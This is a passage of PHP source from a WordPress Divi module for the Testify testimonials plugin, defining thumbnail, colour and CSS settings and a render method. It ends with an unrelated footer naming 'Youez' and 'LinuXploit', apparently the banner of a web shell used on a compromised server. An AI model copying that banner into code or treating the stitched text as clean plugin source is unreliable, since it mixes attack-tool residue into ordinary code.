				'tab_slug' => 'advanced',
				'toggle_slug' => 'thumbnails'
			  ),
			  'thumb_per_row_900' => array(
				'label' => esc_html__( 'Thumbnails per row (display width < 900px)', 'testify-testify' ),
				'type' => 'select',
				'option_category' => 'configuration',
				'options' => array(
				  '12' => esc_html__( '12', 'testify-testify' ),
				  '11' => esc_html__( '11', 'testify-testify' ),
				  '10' => esc_html__( '10', 'testify-testify' ),
				  '9' => esc_html__( '9', 'testify-testify' ),
				  '8' => esc_html__( '8', 'testify-testify' ),
				  '7' => esc_html__( '7', 'testify-testify' ),
				  '6' => esc_html__( '6', 'testify-testify' ),
				  '5' => esc_html__( '5', 'testify-testify' ),
				  '4' => esc_html__( '4', 'testify-testify' ),
				  '3' => esc_html__( '3', 'testify-testify' ),
				  '2' => esc_html__( '2', 'testify-testify' ),
				  '1' => esc_html__( '1', 'testify-testify' ),
				  '0' => esc_html__( 'Hide thumbnail navigation', 'testify-testify' ),
				),
				'description' => esc_html__( 'Thumbnails per row under 900 pixels screen width.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'thumbnails'
			  ),
			  'thumb_per_row_600' => array(
				'label' => esc_html__( 'Thumbnails per row (display width < 600px)', 'testify-testify' ),
				'type' => 'select',
				'option_category' => 'configuration',
				'options' => array(
				  '12' => esc_html__( '12', 'testify-testify' ),
				  '11' => esc_html__( '11', 'testify-testify' ),
				  '10' => esc_html__( '10', 'testify-testify' ),
				  '9' => esc_html__( '9', 'testify-testify' ),
				  '8' => esc_html__( '8', 'testify-testify' ),
				  '7' => esc_html__( '7', 'testify-testify' ),
				  '6' => esc_html__( '6', 'testify-testify' ),
				  '5' => esc_html__( '5', 'testify-testify' ),
				  '4' => esc_html__( '4', 'testify-testify' ),
				  '3' => esc_html__( '3', 'testify-testify' ),
				  '2' => esc_html__( '2', 'testify-testify' ),
				  '1' => esc_html__( '1', 'testify-testify' ),
				  '0' => esc_html__( 'Hide thumbnail navigation', 'testify-testify' ),
				),
				'description' => esc_html__( 'Thumbnails per row under 600 pixels screen width.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'thumbnails'
			  ),
			  'thumb_per_row_400' => array(
				'label' => esc_html__( 'Thumbnails per row (display width < 400px)', 'testify-testify' ),
				'type' => 'select',
				'option_category' => 'configuration',
				'options' => array(
				  '12' => esc_html__( '12', 'testify-testify' ),
				  '11' => esc_html__( '11', 'testify-testify' ),
				  '10' => esc_html__( '10', 'testify-testify' ),
				  '9' => esc_html__( '9', 'testify-testify' ),
				  '8' => esc_html__( '8', 'testify-testify' ),
				  '7' => esc_html__( '7', 'testify-testify' ),
				  '6' => esc_html__( '6', 'testify-testify' ),
				  '5' => esc_html__( '5', 'testify-testify' ),
				  '4' => esc_html__( '4', 'testify-testify' ),
				  '3' => esc_html__( '3', 'testify-testify' ),
				  '2' => esc_html__( '2', 'testify-testify' ),
				  '1' => esc_html__( '1', 'testify-testify' ),
				  '0' => esc_html__( 'Hide thumbnail navigation', 'testify-testify' ),
				),
				'description' => esc_html__( 'Thumbnails per row under 400 pixels screen width.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'thumbnails'
			  ),
			  'thumb_width' => array(
				'label' => esc_html__( 'Thumbnail Image Resolution', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'description' => esc_html__( 'Pixel resolution of the thumbnail image to request from WordPress (example: enter 150 for 150x150). Does not affect the display size of the image. Do not include px. Enter 0 to use the original (non-resized) image.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'thumbnails'
			  ),
			  'thumb_spacing' => array(
				'label' => esc_html__( 'Thumbnail spacing', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'description' => esc_html__( 'Space between thumbnails, do not include px.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'thumbnails'
			  ),
			  'thumb_row_bgcolor' => array(
				'label' => esc_html__( 'Thumbnail row background color', 'testify-testify' ),
				'type' => 'color-alpha',
				'custom_color' => true,
				'description' => esc_html__( 'Thumbnail row background color.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'thumbnails'
			  ),
			  'thumb_inactive_color' => array(
				'label' => esc_html__( 'Inactive thumbnail color', 'testify-testify' ),
				'type' => 'color-alpha',
				'custom_color' => true,
				'description' => esc_html__( 'Inactive thumbnail color.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'thumbnails'
			  ),
			  'disabled_on' => array(
				'label' => esc_html__( 'Disable on', 'testify-testify' ),
				'type' => 'multiple_checkboxes',
				'options' => array(
				  'phone' => esc_html__( 'Phone', 'testify-testify' ),
				  'tablet' => esc_html__( 'Tablet', 'testify-testify' ),
				  'desktop' => esc_html__( 'Desktop', 'testify-testify' ),
				),
				'additional_att' => 'disable_on',
				'option_category' => 'configuration',
				'tab_slug' => 'custom_css',
				'description' => esc_html__( 'This will disable the module on selected devices', 'testify-testify' ),
				'tab_slug' => 'advanced'
			  ),
			  'module_id' => array(
				'label' => esc_html__( 'CSS ID', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'tab_slug' => 'custom_css',
				'option_class' => 'et_pb_custom_css_regular',
				'tab_slug' => 'advanced'
			  ),
			  'module_class' => array(
				'label' => esc_html__( 'CSS Class', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'tab_slug' => 'custom_css',
				'option_class' => 'et_pb_custom_css_regular',
				'tab_slug' => 'advanced'
			  ),
					'__adminUrl' => array(
						'type'    => 'computed',
						'computed_callback' => array( 'TESTIFY_TestifyModule', 'getAdminAjaxUrl' )
					)
			);
			return $fields;
			}

		public function render( $attrs, $content, $render_slug ) {
			$module_id = $this->props['module_id'];
			$module_class = $this->props['module_class'];
			$module_class = ET_Builder_Element::add_module_order_class( $module_class, $render_slug );
			return ags_testify_get_html($this->props, $module_id, $module_class);
		}
		
		

		static function getAdminAjaxUrl() {
			return admin_url('admin-ajax.php');
		}
		
		// The following fields are incompatible with the Testify module so they should not be added automatically
		protected function _add_background_fields() {}
		protected function _add_text_fields() {}
		protected function _add_margin_padding_fields() {}
		protected function _add_borders_fields() {}
		protected function _add_filter_fields() {}
		function process_advanced_borders_options($functon_name) {}
		
		// The following function adds back some old props that are no longer module settings, for compatibility with modules created in older versions of Testify
		/*function get_default_props() {
			$props = parent::get_default_props();
			
			// Renamed in v2.0.0
			$props['readmore_color'] = '';
			
			return $props;
		}*/
		
		function process_dynamic_attrs($props) {
		
			// Renamed in v2.0.0
			if ( isset($props['readmore_color']) ) {
				$props['readmore_text_color'] = $props['readmore_color'];
				unset($props['readmore_color']);
			}
			if ( isset($props['readmore_font']) ) {
				$props['readmore_text_font'] = $props['readmore_font'];
				unset($props['readmore_font']);
			}
			
			
			return $props;
			
			
		}

	}

	new TESTIFY_TestifyModule;
}



Youez - 2016 - github.com/yon3zu
LinuXploit